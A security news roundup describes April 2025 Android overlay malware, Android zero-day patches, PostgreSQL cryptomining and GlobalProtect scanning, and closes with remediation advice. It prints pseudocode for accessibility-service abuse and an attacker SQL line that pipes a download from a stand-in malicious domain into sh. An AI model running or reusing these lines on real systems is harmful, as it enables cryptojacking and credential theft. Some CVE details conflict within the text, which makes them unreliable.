Android Malware and Zero-Day Exploits: April 2025 Security Roundup

The fourth week of April 2025 saw significant developments in mobile security, particularly around Android malware campaigns and zero-day exploits. The ASEC Blog’s latest report highlights new threats targeting financial apps, while Google’s Android Security Bulletin addressed critical vulnerabilities, including two actively exploited zero-days¹. This article breaks down the key findings, their technical implications, and mitigation strategies.

Executive Summary for Security Leaders

For CISOs and security teams, the primary takeaways from April 2025 include:

Android Malware Surge: Overlay attacks and accessibility abuse tactics dominate, with Crocodilus malware targeting Spanish/Turkish users³.
Zero-Day Patches: Google patched 62 vulnerabilities, including CVE-2024-53197 (Linux kernel) and CVE-2024-53150 (kernel read flaw)².
Enterprise Risks: PostgreSQL cryptomining (1,500+ servers) and Palo Alto GlobalProtect scans (24,000 IPs) require immediate attention^{5, 6}.

Android Malware: Technical Analysis

The ASEC report details new Android malware campaigns exploiting overlay attacks to mimic legitimate banking apps. Attackers abuse accessibility services to capture credentials, with samples distributed via third-party app stores. One variant, Crocodilus, uses fake crypto wallet prompts to hijack sessions³. The malware’s persistence mechanism involves:

// Example of accessibility service abuse (simplified)
if (isAccessibilityEnabled) {
  performOverlayAttack(targetPackage);
  interceptCredentials();
}

Google’s April bulletin addressed these threats by restricting accessibility API usage in financial apps. System-level patches for Framework components (CVE-2024-53150) also mitigate data theft risks².

Zero-Day Exploits and Enterprise Threats

Beyond mobile, critical infrastructure faced PostgreSQL cryptomining attacks leveraging weak credentials. Attackers deployed XMRig miners via:

# Attackers' PostgreSQL query (Wiz Research⁵)
COPY (SELECT 'curl http://malicious-domain/xmrig | sh') TO '/tmp/payload.sh';

Palo Alto GlobalProtect portals were also heavily scanned (24,000 IPs), with exploits targeting unpatched PAN-OS systems⁶.

Remediation and Next Steps

To address these threats:

Patch Prioritization: Apply Android April 2025 patches (CVE-2024-53197, CVE-2024-53150) and Apple’s zero-day fixes⁴.
Accessibility Service Hardening: Audit financial apps for unnecessary accessibility permissions.
PostgreSQL Security: Enforce strong credentials and network segmentation for database servers.

The convergence of mobile malware and enterprise vulnerabilities in April 2025 underscores the need for cross-platform threat intelligence. Ongoing monitoring of ASEC and Google bulletins is recommended for timely updates.